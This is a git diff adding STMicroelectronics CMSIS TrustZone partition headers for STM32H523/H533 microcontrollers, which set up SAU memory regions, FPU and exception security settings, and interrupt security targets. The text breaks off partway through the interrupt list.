1 +// Setup SAU Region 1 memory attributes +*/ +#define SAU_INIT_REGION1 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START1 0x08040000 /* start address of SAU region 1 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END1 0x0807FFFF /* end address of SAU region 1 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC1 0 +/* +// +*/ + +/* +// Initialize SAU Region 2 +// Setup SAU Region 2 memory attributes +*/ +#define SAU_INIT_REGION2 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START2 0x20034000 /* start address of SAU region 2 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END2 0x20043FFF /* end address of SAU region 2 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC2 0 +/* +// +*/ + +/* +// Initialize SAU Region 3 +// Setup SAU Region 3 memory attributes +*/ +#define SAU_INIT_REGION3 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START3 0x40000000 /* start address of SAU region 3 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END3 0x4FFFFFFF /* end address of SAU region 3 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC3 0 +/* +// +*/ + +/* +// Initialize SAU Region 4 +// Setup SAU Region 4 memory attributes +*/ +#define SAU_INIT_REGION4 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START4 0x60000000 /* start address of SAU region 4 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END4 0x9FFFFFFF /* end address of SAU region 4 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC4 0 +/* +// +*/ + +/* +// Initialize SAU Region 5 +// Setup SAU Region 5 memory attributes +*/ +#define SAU_INIT_REGION5 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START5 0x0BF90000 /* start address of SAU region 5 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END5 0x0BFA8FFF /* end address of SAU region 5 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC5 0 +/* +// +*/ + +/* +// Initialize SAU Region 6 +// Setup SAU Region 6 memory attributes +*/ +#define SAU_INIT_REGION6 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START6 0x00000000 /* start address of SAU region 6 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END6 0x00000000 /* end address of SAU region 6 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC6 0 +/* +// +*/ + +/* +// Initialize SAU Region 7 +// Setup SAU Region 7 memory attributes +*/ +#define SAU_INIT_REGION7 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START7 0x00000000 /* start address of SAU region 7 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END7 0x00000000 /* end address of SAU region 7 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC7 0 +/* +// +*/ + +/* +// +*/ + +/* +// Setup behaviour of Sleep and Exception Handling +*/ +#define SCB_CSR_AIRCR_INIT 0 + +/* +// Deep Sleep can be enabled by +// <0=>Secure and Non-Secure state +// <1=>Secure state only +// Value for SCB->CSR register bit DEEPSLEEPS +*/ +#define SCB_CSR_DEEPSLEEPS_VAL 0 + +/* +// System reset request accessible from +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for SCB->AIRCR register bit SYSRESETREQS +*/ +#define SCB_AIRCR_SYSRESETREQS_VAL 0 + +/* +// Priority of Non-Secure exceptions is +// <0=> Not altered +// <1=> Lowered to 0x04-0x07 +// Value for SCB->AIRCR register bit PRIS +*/ +#define SCB_AIRCR_PRIS_VAL 0 + +/* +// BusFault, HardFault, and NMI target +// <0=> Secure state +// <1=> Non-Secure state +// Value for SCB->AIRCR register bit BFHFNMINS +*/ +#define SCB_AIRCR_BFHFNMINS_VAL 0 + +/* +// +*/ + +/* +// Setup behaviour of Floating Point Unit +*/ +#define TZ_FPU_NS_USAGE 1 + +/* +// Floating Point Unit usage +// <0=> Secure state only +// <3=> Secure and Non-Secure state +// Value for SCB->NSACR register bits CP10, CP11 +*/ +#define SCB_NSACR_CP10_11_VAL 3 + +/* +// Treat floating-point registers as Secure +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit TS +*/ +#define FPU_FPCCR_TS_VAL 0 + +/* +// Clear on return (CLRONRET) accessibility +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for FPU->FPCCR register bit CLRONRETS +*/ +#define FPU_FPCCR_CLRONRETS_VAL 0 + +/* +// Clear floating-point caller saved registers on exception return +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit CLRONRET +*/ +#define FPU_FPCCR_CLRONRET_VAL 1 + +/* +// +*/ + +/* +// Setup Interrupt Target +*/ + +/* +// Initialize ITNS 0 (Interrupts 0..31) +*/ +#define NVIC_INIT_ITNS0 1 + +/* +// Interrupts 0..31 +// WWDG_IRQn <0=> Secure state <1=> Non-Secure state +// PVD_AVD_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_S_IRQn <0=> Secure state <1=> Non-Secure state +// TAMP_IRQn <0=> Secure state <1=> Non-Secure state +// RAMCFG_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_S_IRQn <0=> Secure state <1=> Non-Secure state +// GTZC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_S_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI0_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI1_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI2_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI3_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI4_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI5_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI6_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI7_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI8_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI9_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI10_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI11_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI12_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI13_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI14_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI15_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel4_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS0_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 1 (Interrupts 32..63) +*/ +#define NVIC_INIT_ITNS1 1 + +/* +// Interrupts 32..63 +// GPDMA1_Channel5_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel7_IRQn <0=> Secure state <1=> Non-Secure state +// IWDG_IRQn <0=> Secure state <1=> Non-Secure state +// ADC1_IRQn <0=> Secure state <1=> Non-Secure state +// DAC1_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT0_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT1_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_CC_IRQn <0=> Secure state <1=> Non-Secure state +// TIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM3_IRQn <0=> Secure state <1=> Non-Secure state +// TIM4_IRQn <0=> Secure state <1=> Non-Secure state +// TIM5_IRQn <0=> Secure state <1=> Non-Secure state +// TIM6_IRQn <0=> Secure state <1=> Non-Secure state +// TIM7_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SPI1_IRQn <0=> Secure state <1=> Non-Secure state +// SPI2_IRQn <0=> Secure state <1=> Non-Secure state +// SPI3_IRQn <0=> Secure state <1=> Non-Secure state +// USART1_IRQn <0=> Secure state <1=> Non-Secure state +// USART2_IRQn <0=> Secure state <1=> Non-Secure state +// USART3_IRQn <0=> Secure state <1=> Non-Secure state +// UART4_IRQn <0=> Secure state <1=> Non-Secure state +// UART5_IRQn <0=> Secure state <1=> Non-Secure state +// LPUART1_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS1_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 2 (Interrupts 64..95) +*/ +#define NVIC_INIT_ITNS2 1 + +/* +// Interrupts 64..95 +// LPTIM1_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_CC_IRQn <0=> Secure state <1=> Non-Secure state +// ADC2_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM15_IRQn <0=> Secure state <1=> Non-Secure state +// USB_DRD_FS_IRQn <0=> Secure state <1=> Non-Secure state +// CRS_IRQn <0=> Secure state <1=> Non-Secure state +// UCPD1_IRQn <0=> Secure state <1=> Non-Secure state +// FMC_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC1_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SPI4_IRQn <0=> Secure state <1=> Non-Secure state +// USART6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel4_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel5_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS2_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 3 (Interrupts 96..127) +*/ +#define NVIC_INIT_ITNS3 1 + +/* +// Interrupts 96..124 +// GPDMA2_Channel6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel7_IRQn <0=> Secure state <1=> Non-Secure state +// FPU_IRQn <0=> Secure state <1=> Non-Secure state +// ICACHE_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE_IRQn <0=> Secure state <1=> Non-Secure state +// DCMI_PSSI_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN2_IT0_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN2_IT1_IRQn <0=> Secure state <1=> Non-Secure state +// DTS_IRQn <0=> Secure state <1=> Non-Secure state +// RNG_IRQn <0=> Secure state <1=> Non-Secure state +// HASH_IRQn <0=> Secure state <1=> Non-Secure state +// CEC_IRQn <0=> Secure state <1=> Non-Secure state +// TIM12_IRQn <0=> Secure state <1=> Non-Secure state +// I3C1_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I3C1_ER_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS3_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 4 (Interrupts 131..132) +*/ +#define NVIC_INIT_ITNS4 1 + +/* +// Interrupts 131..132 +// I3C2_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I3C2_ER_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS4_VAL 0x00000000 + +/* +// +*/ + +/* +// +*/ + +/* + max 8 SAU regions. + SAU regions are defined in partition.h + */ + +#define SAU_INIT_REGION(n) \ + SAU->RNR = (n & SAU_RNR_REGION_Msk); \ + SAU->RBAR = (SAU_INIT_START##n & SAU_RBAR_BADDR_Msk); \ + SAU->RLAR = (SAU_INIT_END##n & SAU_RLAR_LADDR_Msk) | \ + ((SAU_INIT_NSC##n << SAU_RLAR_NSC_Pos) & SAU_RLAR_NSC_Msk) | 1U + +/** + \brief Setup a SAU Region + \details Writes the region information contained in SAU_Region to the + registers SAU_RNR, SAU_RBAR, and SAU_RLAR + */ +__STATIC_INLINE void TZ_SAU_Setup (void) +{ + +#if defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) + + #if defined (SAU_INIT_REGION0) && (SAU_INIT_REGION0 == 1U) + SAU_INIT_REGION(0); + #endif + + #if defined (SAU_INIT_REGION1) && (SAU_INIT_REGION1 == 1U) + SAU_INIT_REGION(1); + #endif + + #if defined (SAU_INIT_REGION2) && (SAU_INIT_REGION2 == 1U) + SAU_INIT_REGION(2); + #endif + + #if defined (SAU_INIT_REGION3) && (SAU_INIT_REGION3 == 1U) + SAU_INIT_REGION(3); + #endif + + #if defined (SAU_INIT_REGION4) && (SAU_INIT_REGION4 == 1U) + SAU_INIT_REGION(4); + #endif + + #if defined (SAU_INIT_REGION5) && (SAU_INIT_REGION5 == 1U) + SAU_INIT_REGION(5); + #endif + + #if defined (SAU_INIT_REGION6) && (SAU_INIT_REGION6 == 1U) + SAU_INIT_REGION(6); + #endif + + #if defined (SAU_INIT_REGION7) && (SAU_INIT_REGION7 == 1U) + SAU_INIT_REGION(7); + #endif + + /* repeat this for all possible SAU regions */ + +#endif /* defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) */ + + + #if defined (SAU_INIT_CTRL) && (SAU_INIT_CTRL == 1U) + SAU->CTRL = ((SAU_INIT_CTRL_ENABLE << SAU_CTRL_ENABLE_Pos) & SAU_CTRL_ENABLE_Msk) | + ((SAU_INIT_CTRL_ALLNS << SAU_CTRL_ALLNS_Pos) & SAU_CTRL_ALLNS_Msk) ; + #endif + + #if defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) + SCB->SCR = (SCB->SCR & ~(SCB_SCR_SLEEPDEEPS_Msk )) | + ((SCB_CSR_DEEPSLEEPS_VAL << SCB_SCR_SLEEPDEEPS_Pos) & SCB_SCR_SLEEPDEEPS_Msk); + + SCB->AIRCR = (SCB->AIRCR & ~(SCB_AIRCR_VECTKEY_Msk | SCB_AIRCR_SYSRESETREQS_Msk | + SCB_AIRCR_BFHFNMINS_Msk | SCB_AIRCR_PRIS_Msk) ) | + ((0x05FAU << SCB_AIRCR_VECTKEY_Pos) & SCB_AIRCR_VECTKEY_Msk) | + ((SCB_AIRCR_SYSRESETREQS_VAL << SCB_AIRCR_SYSRESETREQS_Pos) & SCB_AIRCR_SYSRESETREQS_Msk) | + ((SCB_AIRCR_PRIS_VAL << SCB_AIRCR_PRIS_Pos) & SCB_AIRCR_PRIS_Msk) | + ((SCB_AIRCR_BFHFNMINS_VAL << SCB_AIRCR_BFHFNMINS_Pos) & SCB_AIRCR_BFHFNMINS_Msk); + #endif /* defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) */ + + #if defined (__FPU_USED) && (__FPU_USED == 1U) && \ + defined (TZ_FPU_NS_USAGE) && (TZ_FPU_NS_USAGE == 1U) + + SCB->NSACR = (SCB->NSACR & ~(SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)) | + ((SCB_NSACR_CP10_11_VAL << SCB_NSACR_CP10_Pos) & (SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)); + + FPU->FPCCR = (FPU->FPCCR & ~(FPU_FPCCR_TS_Msk | FPU_FPCCR_CLRONRETS_Msk | FPU_FPCCR_CLRONRET_Msk)) | + ((FPU_FPCCR_TS_VAL << FPU_FPCCR_TS_Pos ) & FPU_FPCCR_TS_Msk ) | + ((FPU_FPCCR_CLRONRETS_VAL << FPU_FPCCR_CLRONRETS_Pos) & FPU_FPCCR_CLRONRETS_Msk) | + ((FPU_FPCCR_CLRONRET_VAL << FPU_FPCCR_CLRONRET_Pos ) & FPU_FPCCR_CLRONRET_Msk ); + #endif + + #if defined (NVIC_INIT_ITNS0) && (NVIC_INIT_ITNS0 == 1U) + NVIC->ITNS[0] = NVIC_INIT_ITNS0_VAL; + #endif + + #if defined (NVIC_INIT_ITNS1) && (NVIC_INIT_ITNS1 == 1U) + NVIC->ITNS[1] = NVIC_INIT_ITNS1_VAL; + #endif + + #if defined (NVIC_INIT_ITNS2) && (NVIC_INIT_ITNS2 == 1U) + NVIC->ITNS[2] = NVIC_INIT_ITNS2_VAL; + #endif + + #if defined (NVIC_INIT_ITNS3) && (NVIC_INIT_ITNS3 == 1U) + NVIC->ITNS[3] = NVIC_INIT_ITNS3_VAL; + #endif + + #if defined (NVIC_INIT_ITNS4) && (NVIC_INIT_ITNS4 == 1U) + NVIC->ITNS[4] = NVIC_INIT_ITNS4_VAL; + #endif + +} + +#endif /* PARTITION_STM32H523XX_H */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/Templates/partition_stm32h533xx.h b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/Templates/partition_stm32h533xx.h new file mode 100644 index 000000000..9fe445900 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/Templates/partition_stm32h533xx.h @@ -0,0 +1,664 @@ +/** + ****************************************************************************** + * @file partition_stm32h533xx.h + * @author MCD Application Team + * @brief CMSIS STM32H533xx Device Header File for Initial Setup for Secure / + * Non-Secure Zones for ARMCM33 based on CMSIS CORE partition_ARMCM33.h + * Template. + * + * This file contains: + * - Initialize Security Attribution Unit (SAU) CTRL register + * - Setup behavior of Sleep and Exception Handling + * - Setup behavior of Floating Point Unit + * - Setup Interrupt Target + * + ****************************************************************************** + * Copyright (c) 2009-2019 Arm Limited. All rights reserved. + * Copyright (c) 2023 STMicroelectronics. All rights reserved. + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the License); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an AS IS BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ****************************************************************************** + */ + +#ifndef PARTITION_STM32H533XX_H +#define PARTITION_STM32H533XX_H + +/* +//-------- <<< Use Configuration Wizard in Context Menu >>> ----------------- +*/ + +/* +// Initialize Security Attribution Unit (SAU) CTRL register +*/ +#define SAU_INIT_CTRL 1 + +/* +// Enable SAU +// Value for SAU->CTRL register bit ENABLE +*/ +#define SAU_INIT_CTRL_ENABLE 0 + +/* +// When SAU is disabled +// <0=> All Memory is Secure +// <1=> All Memory is Non-Secure +// Value for SAU->CTRL register bit ALLNS +// When all Memory is Non-Secure (ALLNS is 1), IDAU can override memory map configuration. +*/ +#define SAU_INIT_CTRL_ALLNS 1 + +/* +// +*/ + +/* +// Initialize Security Attribution Unit (SAU) Address Regions +// SAU configuration specifies regions to be one of: +// - Secure and Non-Secure Callable +// - Non-Secure +// Note: All memory regions not configured by SAU are Secure +*/ +#define SAU_REGIONS_MAX 8 /* Max. number of SAU regions */ + +/* +// Initialize SAU Region 0 +// Setup SAU Region 0 memory attributes +*/ +#define SAU_INIT_REGION0 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START0 0x0C03E000 /* start address of SAU region 0 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END0 0x0C03FFFF /* end address of SAU region 0 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC0 1 +/* +// +*/ + +/* +// Initialize SAU Region 1 +// Setup SAU Region 1 memory attributes +*/ +#define SAU_INIT_REGION1 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START1 0x08040000 /* start address of SAU region 1 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END1 0x0807FFFF /* end address of SAU region 1 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC1 0 +/* +// +*/ + +/* +// Initialize SAU Region 2 +// Setup SAU Region 2 memory attributes +*/ +#define SAU_INIT_REGION2 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START2 0x20034000 /* start address of SAU region 2 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END2 0x20043FFF /* end address of SAU region 2 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC2 0 +/* +// +*/ + +/* +// Initialize SAU Region 3 +// Setup SAU Region 3 memory attributes +*/ +#define SAU_INIT_REGION3 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START3 0x40000000 /* start address of SAU region 3 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END3 0x4FFFFFFF /* end address of SAU region 3 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC3 0 +/* +// +*/ + +/* +// Initialize SAU Region 4 +// Setup SAU Region 4 memory attributes +*/ +#define SAU_INIT_REGION4 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START4 0x60000000 /* start address of SAU region 4 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END4 0x9FFFFFFF /* end address of SAU region 4 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC4 0 +/* +// +*/ + +/* +// Initialize SAU Region 5 +// Setup SAU Region 5 memory attributes +*/ +#define SAU_INIT_REGION5 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START5 0x0BF90000 /* start address of SAU region 5 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END5 0x0BFA8FFF /* end address of SAU region 5 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC5 0 +/* +// +*/ + +/* +// Initialize SAU Region 6 +// Setup SAU Region 6 memory attributes +*/ +#define SAU_INIT_REGION6 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START6 0x00000000 /* start address of SAU region 6 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END6 0x00000000 /* end address of SAU region 6 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC6 0 +/* +// +*/ + +/* +// Initialize SAU Region 7 +// Setup SAU Region 7 memory attributes +*/ +#define SAU_INIT_REGION7 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START7 0x00000000 /* start address of SAU region 7 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END7 0x00000000 /* end address of SAU region 7 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC7 0 +/* +// +*/ + +/* +// +*/ + +/* +// Setup behaviour of Sleep and Exception Handling +*/ +#define SCB_CSR_AIRCR_INIT 0 + +/* +// Deep Sleep can be enabled by +// <0=>Secure and Non-Secure state +// <1=>Secure state only +// Value for SCB->CSR register bit DEEPSLEEPS +*/ +#define SCB_CSR_DEEPSLEEPS_VAL 0 + +/* +// System reset request accessible from +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for SCB->AIRCR register bit SYSRESETREQS +*/ +#define SCB_AIRCR_SYSRESETREQS_VAL 0 + +/* +// Priority of Non-Secure exceptions is +// <0=> Not altered +// <1=> Lowered to 0x04-0x07 +// Value for SCB->AIRCR register bit PRIS +*/ +#define SCB_AIRCR_PRIS_VAL 0 + +/* +// BusFault, HardFault, and NMI target +// <0=> Secure state +// <1=> Non-Secure state +// Value for SCB->AIRCR register bit BFHFNMINS +*/ +#define SCB_AIRCR_BFHFNMINS_VAL 0 + +/* +// +*/ + +/* +// Setup behaviour of Floating Point Unit +*/ +#define TZ_FPU_NS_USAGE 1 + +/* +// Floating Point Unit usage +// <0=> Secure state only +// <3=> Secure and Non-Secure state +// Value for SCB->NSACR register bits CP10, CP11 +*/ +#define SCB_NSACR_CP10_11_VAL 3 + +/* +// Treat floating-point registers as Secure +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit TS +*/ +#define FPU_FPCCR_TS_VAL 0 + +/* +// Clear on return (CLRONRET) accessibility +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for FPU->FPCCR register bit CLRONRETS +*/ +#define FPU_FPCCR_CLRONRETS_VAL 0 + +/* +// Clear floating-point caller saved registers on exception return +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit CLRONRET +*/ +#define FPU_FPCCR_CLRONRET_VAL 1 + +/* +// +*/ + +/* +// Setup Interrupt Target +*/ + +/* +// Initialize ITNS 0 (Interrupts 0..31) +*/ +#define NVIC_INIT_ITNS0 1 + +/* +// Interrupts 0..31 +// WWDG_IRQn <0=> Secure state <1=> Non-Secure state +// PVD_AVD_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_S_IRQn <0=> Secure state <1=> Non-Secure state +// TAMP_IRQn <0=> Secure state <1=> Non-Secure state +// RAMCFG_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_S_IRQn <0=> Secure state <1=> Non-Secure state +// GTZC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_S_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI0_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI1_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI2_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI3_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI4_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI5_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI6_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI7_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI8_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI9_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI10_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI11_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI12_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI13_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI14_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI15_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel4_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS0_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 1 (Interrupts 32..63) +*/ +#define NVIC_INIT_ITNS1 1 + +/* +// Interrupts 32..63 +// GPDMA1_Channel5_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel7_IRQn <0=> Secure state <1=> Non-Secure state +// IWDG_IRQn <0=> Secure state <1=> Non-Secure state +// SAES_IRQn <0=> Secure state <1=> Non-Secure state +// ADC1_IRQn <0=> Secure state <1=> Non-Secure state +// DAC1_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT0_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT1_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_TRG_COM_IRQn 